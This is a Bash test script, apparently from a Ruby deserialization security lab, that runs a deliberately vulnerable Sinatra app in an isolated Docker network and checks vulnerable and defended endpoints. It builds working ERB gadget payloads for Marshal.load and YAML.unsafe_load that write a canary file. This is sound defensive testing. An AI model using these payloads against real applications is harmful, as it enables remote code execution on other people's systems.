315 lines
11 KiB
Bash
Executable File
315 lines
11 KiB
Bash
Executable File
#!/usr/bin/env bash
|
|
# ©AngelaMos | 2026
|
|
# target-gate.sh
|
|
|
|
set -uo pipefail
|
|
|
|
HERE="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
|
|
|
|
IMAGE="marshalsea-target:local"
|
|
CONTAINER="marshalsea-target-gate"
|
|
NETWORK="marshalsea-target-gate-net"
|
|
BUILD_IMAGE="ruby:4.0-slim"
|
|
CANARY_PATH="/tmp/marshalsea-canary"
|
|
CANARY_MARKER="fired"
|
|
TARGET_BASE="http://${CONTAINER}:4567"
|
|
PINNED_GEMS="rack 3.2.6 sinatra 4.2.1 rackup 2.3.1 webrick 1.9.2"
|
|
|
|
cleanup() {
|
|
docker rm -f "${CONTAINER}" >/dev/null 2>&1 || true
|
|
docker network rm "${NETWORK}" >/dev/null 2>&1 || true
|
|
}
|
|
trap cleanup EXIT
|
|
|
|
failures=0
|
|
|
|
fail() {
|
|
echo " FAIL $1"
|
|
failures=$((failures + 1))
|
|
}
|
|
|
|
pass() {
|
|
echo " PASS $1"
|
|
}
|
|
|
|
echo "building target image"
|
|
docker build -q -f "${HERE}/target/Dockerfile" -t "${IMAGE}" "${HERE}" >/dev/null || {
|
|
echo "FAIL image build"
|
|
exit 1
|
|
}
|
|
|
|
cleanup
|
|
docker network create --internal "${NETWORK}" >/dev/null || {
|
|
echo "FAIL could not create the isolated network"
|
|
exit 1
|
|
}
|
|
|
|
docker run -d --name "${CONTAINER}" \
|
|
--network "${NETWORK}" \
|
|
--read-only \
|
|
--tmpfs /tmp:rw,noexec,nosuid,size=1m \
|
|
--cap-drop ALL \
|
|
--security-opt no-new-privileges \
|
|
--pids-limit 128 \
|
|
--memory 256m \
|
|
"${IMAGE}" >/dev/null
|
|
|
|
client() {
|
|
local path="$1"
|
|
local cookie="${2:-}"
|
|
docker run --rm --network "${NETWORK}" \
|
|
-e "TARGET_BASE=${TARGET_BASE}" \
|
|
-v "${HERE}/scripts/target_client.rb:/client.rb:ro" \
|
|
"${BUILD_IMAGE}" ruby /client.rb "${path}" "${cookie}" 2>/dev/null
|
|
}
|
|
|
|
status_of() { printf '%s' "$1" | head -1 | cut -f1; }
|
|
body_of() { printf '%s' "$1" | tail -n +2; }
|
|
|
|
for _ in $(seq 1 40); do
|
|
[[ "$(status_of "$(client /)")" == "200" ]] && break
|
|
sleep 0.5
|
|
done
|
|
|
|
root="$(client /)"
|
|
if [[ "$(status_of "${root}")" != "200" ]]; then
|
|
echo "FAIL target never became reachable inside ${NETWORK}"
|
|
docker logs "${CONTAINER}" 2>&1 | tail -20
|
|
exit 1
|
|
fi
|
|
|
|
echo
|
|
body_of "${root}" | head -3
|
|
echo
|
|
|
|
echo "=== 1 isolation ==="
|
|
egress="$(docker run --rm --network "${NETWORK}" "${BUILD_IMAGE}" \
|
|
sh -c 'timeout 6 getent hosts rubygems.org >/dev/null 2>&1 && echo REACHED || echo BLOCKED' 2>/dev/null)"
|
|
if [[ "${egress}" == "BLOCKED" ]]; then
|
|
pass "the network that runs attacker Ruby has no route off the host"
|
|
else
|
|
fail "the target network reaches the internet, so a payload can too"
|
|
fi
|
|
|
|
resolved="$(docker run --rm --network none "${IMAGE}" \
|
|
ruby -e 'print %w[rack sinatra rackup webrick].map { |g|
|
|
"#{g} #{Gem::Specification.find_all_by_name(g).map(&:version).max}" }.join(" ")' 2>/dev/null)"
|
|
echo " resolved: ${resolved}"
|
|
if [[ "${resolved}" == "${PINNED_GEMS}" ]]; then
|
|
pass "the image ships exactly the pinned dependency versions"
|
|
else
|
|
fail "dependency drift: expected '${PINNED_GEMS}'"
|
|
fi
|
|
|
|
echo
|
|
echo "=== 2 the vulnerable endpoint ==="
|
|
payload="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app "${BUILD_IMAGE}" \
|
|
ruby -Ilib -e '
|
|
require "marshalsea"
|
|
require "base64"
|
|
chain = Marshalsea::Chains::ErbDefMethod.canary("/tmp/marshalsea-canary", "fired")
|
|
state = { user: "attacker", template: chain.generate }
|
|
print Base64.strict_encode64(Marshal.dump(state))
|
|
')"
|
|
|
|
if [[ -z "${payload}" ]]; then
|
|
echo "FAIL payload generation produced nothing"
|
|
exit 1
|
|
fi
|
|
|
|
before="$(body_of "$(client /canary)")"
|
|
vulnerable="$(client /render "session_state=${payload}")"
|
|
after="$(body_of "$(client /canary)")"
|
|
|
|
echo " vulnerable endpoint : $(status_of "${vulnerable}") $(body_of "${vulnerable}")"
|
|
echo " canary before/after : ${before} -> ${after}"
|
|
|
|
if [[ "${before}" == "absent" && "${after}" == "${CANARY_MARKER}" &&
|
|
"$(status_of "${vulnerable}")" == "200" ]]; then
|
|
pass "HTTP request achieved code execution through Marshal.load"
|
|
else
|
|
fail "payload did not execute over HTTP with a 200"
|
|
fi
|
|
|
|
docker exec "${CONTAINER}" rm -f "${CANARY_PATH}" >/dev/null 2>&1 || true
|
|
|
|
echo
|
|
echo "=== 3 the defended endpoint ==="
|
|
reset="$(body_of "$(client /canary)")"
|
|
defended="$(client /render/safe "session_state=${payload}")"
|
|
defended_after="$(body_of "$(client /canary)")"
|
|
|
|
echo " defended endpoint : $(status_of "${defended}") $(body_of "${defended}")"
|
|
echo " canary before/after : ${reset} -> ${defended_after}"
|
|
|
|
if [[ "$(status_of "${defended}")" == "400" && "$(body_of "${defended}")" == rejected:* &&
|
|
"${defended_after}" != "${CANARY_MARKER}" ]]; then
|
|
pass "defended endpoint answered 400 with a rejection and created no canary"
|
|
else
|
|
fail "defended endpoint did not reject the identical payload with a 400"
|
|
fi
|
|
|
|
benign="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app "${BUILD_IMAGE}" \
|
|
ruby -Ilib -e '
|
|
require "base64"
|
|
print Base64.strict_encode64(Marshal.dump({ user: "guest", template: "hello" }))
|
|
')"
|
|
legitimate="$(client /render/safe "session_state=${benign}")"
|
|
echo " benign on defended : $(status_of "${legitimate}") $(body_of "${legitimate}")"
|
|
if [[ "$(status_of "${legitimate}")" == "200" &&
|
|
"$(body_of "${legitimate}")" == "rendered template for guest" ]]; then
|
|
pass "defended endpoint still serves a legitimate session with an exact body"
|
|
else
|
|
fail "defended endpoint does not serve legitimate sessions, it is not a filter"
|
|
fi
|
|
|
|
echo
|
|
echo "=== 4 every response is a contract, not a prefix ==="
|
|
encode() {
|
|
docker run --rm --network none "${BUILD_IMAGE}" \
|
|
ruby -e "require \"base64\"; print Base64.strict_encode64(Marshal.dump($1))"
|
|
}
|
|
|
|
check_contract() {
|
|
local label="$1" path="$2" cookie="$3" want_status="$4" want_body="$5"
|
|
local response status body
|
|
response="$(client "${path}" "${cookie}")"
|
|
status="$(status_of "${response}")"
|
|
body="$(body_of "${response}")"
|
|
printf ' %-34s HTTP %-4s %s\n' "${label}" "${status}" "${body:0:56}"
|
|
if [[ "${status}" == "${want_status}" && "${body}" == ${want_body} ]]; then
|
|
pass "${label}"
|
|
else
|
|
fail "${label}: wanted HTTP ${want_status} matching '${want_body}'"
|
|
fi
|
|
}
|
|
|
|
for root_value in '"plain string"' 'nil' '[1, 2]' '{ user: "x" }'; do
|
|
check_contract "root ${root_value} is refused" /render/safe \
|
|
"session_state=$(encode "${root_value}")" 400 'rejected: payload is not a session hash'
|
|
done
|
|
|
|
check_contract "no cookie is refused" /render/safe "" 400 "no session cookie"
|
|
check_contract "malformed base64 is refused" /render/safe "session_state=!!!not-base64!!!" \
|
|
400 "no session cookie"
|
|
|
|
echo
|
|
echo "=== 4b the same lesson in YAML ==="
|
|
yaml_payload="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app "${BUILD_IMAGE}" \
|
|
ruby -Ilib -e '
|
|
require "marshalsea"
|
|
require "base64"
|
|
src = "#\nend\nFile.write(%q{/tmp/marshalsea-canary}, %q{fired})\ndef _unused\n"
|
|
document = <<~YAML
|
|
---
|
|
:user: attacker
|
|
:template: !ruby/object:ERB
|
|
src: #{src.inspect}
|
|
filename: "(erb)"
|
|
lineno: 0
|
|
YAML
|
|
print Base64.strict_encode64(document)
|
|
')"
|
|
|
|
docker exec "${CONTAINER}" rm -f "${CANARY_PATH}" >/dev/null 2>&1 || true
|
|
yaml_before="$(body_of "$(client /canary)")"
|
|
yaml_vuln="$(client /yaml/unsafe "session_state=${yaml_payload}")"
|
|
yaml_after="$(body_of "$(client /canary)")"
|
|
echo " yaml unsafe endpoint: $(status_of "${yaml_vuln}") $(body_of "${yaml_vuln}")"
|
|
echo " canary before/after : ${yaml_before} -> ${yaml_after}"
|
|
if [[ "${yaml_before}" != "${CANARY_MARKER}" && "${yaml_after}" == "${CANARY_MARKER}" ]]; then
|
|
pass "YAML.unsafe_load reaches the same code execution as Marshal.load"
|
|
else
|
|
fail "the YAML payload did not execute over HTTP"
|
|
fi
|
|
|
|
docker exec "${CONTAINER}" rm -f "${CANARY_PATH}" >/dev/null 2>&1 || true
|
|
yaml_safe="$(client /yaml/safe "session_state=${yaml_payload}")"
|
|
yaml_safe_after="$(body_of "$(client /canary)")"
|
|
echo " yaml safe endpoint : $(status_of "${yaml_safe}") $(body_of "${yaml_safe}")"
|
|
if [[ "$(status_of "${yaml_safe}")" == "400" && "${yaml_safe_after}" != "${CANARY_MARKER}" &&
|
|
"$(body_of "${yaml_safe}")" == *"ERB"* ]]; then
|
|
pass "the YAML defence names ERB and creates no canary"
|
|
else
|
|
fail "the YAML defence did not reject the identical document"
|
|
fi
|
|
|
|
aliased="$(docker run --rm --network none "${BUILD_IMAGE}" ruby -e '
|
|
require "base64"
|
|
print Base64.strict_encode64("---\n:user: &u guest\n:template: *u\n")
|
|
')"
|
|
alias_body="$(client /yaml/safe "session_state=${aliased}")"
|
|
echo " inspector-approved, Psych-refused: $(status_of "${alias_body}") $(body_of "${alias_body}")"
|
|
if [[ "$(status_of "${alias_body}")" == "400" &&
|
|
"$(body_of "${alias_body}")" == *"Psych refused"* ]]; then
|
|
pass "Psych's own veto is live and not alibied by the inspector"
|
|
else
|
|
fail "the inspector approved this document and nothing else stopped it"
|
|
fi
|
|
|
|
echo
|
|
echo "=== 5 the class allowlist, not a parse error ==="
|
|
class_named() {
|
|
docker run --rm --network none "${BUILD_IMAGE}" ruby -e "
|
|
require \"base64\"
|
|
def sym(n) = \":\" + (n.bytesize + 5).chr + n
|
|
def str(s) = %q(\") + (s.bytesize + 5).chr + s
|
|
print Base64.strict_encode64($1)
|
|
"
|
|
}
|
|
|
|
for probe in 'Marshal.dump(Object.new)' '("\x04\x08C" + sym("String") + str("hi")).b'; do
|
|
named="$(client /render/safe "session_state=$(class_named "${probe}")")"
|
|
echo " class-named stream : $(status_of "${named}") $(body_of "${named}")"
|
|
if [[ "$(status_of "${named}")" == "400" && "$(body_of "${named}")" == *"unapproved class"* ]]; then
|
|
pass "refused on the class name itself, not on a parse error"
|
|
else
|
|
fail "PERMITTED_CLASS_NAMES admitted a class name, or something else rejected it first"
|
|
fi
|
|
done
|
|
|
|
echo
|
|
echo "=== 6 error responses leak nothing ==="
|
|
leaked=0
|
|
for probe in "session_state=$(encode 'nil')" "session_state=!!!"; do
|
|
for path in /render /render/safe; do
|
|
body="$(body_of "$(client "${path}" "${probe}")")"
|
|
if echo "${body}" | grep -qE "app\.rb|/app/lib|marshalsea/marshal"; then
|
|
leaked=1
|
|
fi
|
|
done
|
|
done
|
|
if [[ ${leaked} -eq 0 ]]; then
|
|
pass "error responses leak no source path or source line"
|
|
else
|
|
fail "an error response leaked source paths or source lines"
|
|
fi
|
|
|
|
echo
|
|
echo "=== 7 the chain carries no sink tag ==="
|
|
sinks="$(docker run --rm --network none -v "${HERE}/lib:/app/lib:ro" -w /app "${BUILD_IMAGE}" \
|
|
ruby -Ilib -e '
|
|
require "marshalsea"
|
|
chain = Marshalsea::Chains::ErbDefMethod.canary("/tmp/marshalsea-canary", "fired")
|
|
blob = Marshal.dump({ user: "attacker", template: chain.generate })
|
|
print Marshalsea::Marshal::Parser.new(blob).parse.sinks.length
|
|
')"
|
|
|
|
echo " sink-tag hits on the working payload : ${sinks}"
|
|
if [[ "${sinks}" == "0" ]]; then
|
|
echo " NOTE sink detection alone does NOT catch this chain, only the class"
|
|
echo " allowlist does. ERB defines no marshal_load, so it serializes as"
|
|
echo " a plain object and carries no sink tag."
|
|
else
|
|
fail "expected the ERB chain to carry no sink tag, got ${sinks}"
|
|
fi
|
|
|
|
echo
|
|
if [[ ${failures} -eq 0 ]]; then
|
|
echo "GATE PASSED"
|
|
exit 0
|
|
fi
|
|
|
|
echo "GATE FAILED (${failures})"
|
|
exit 1
|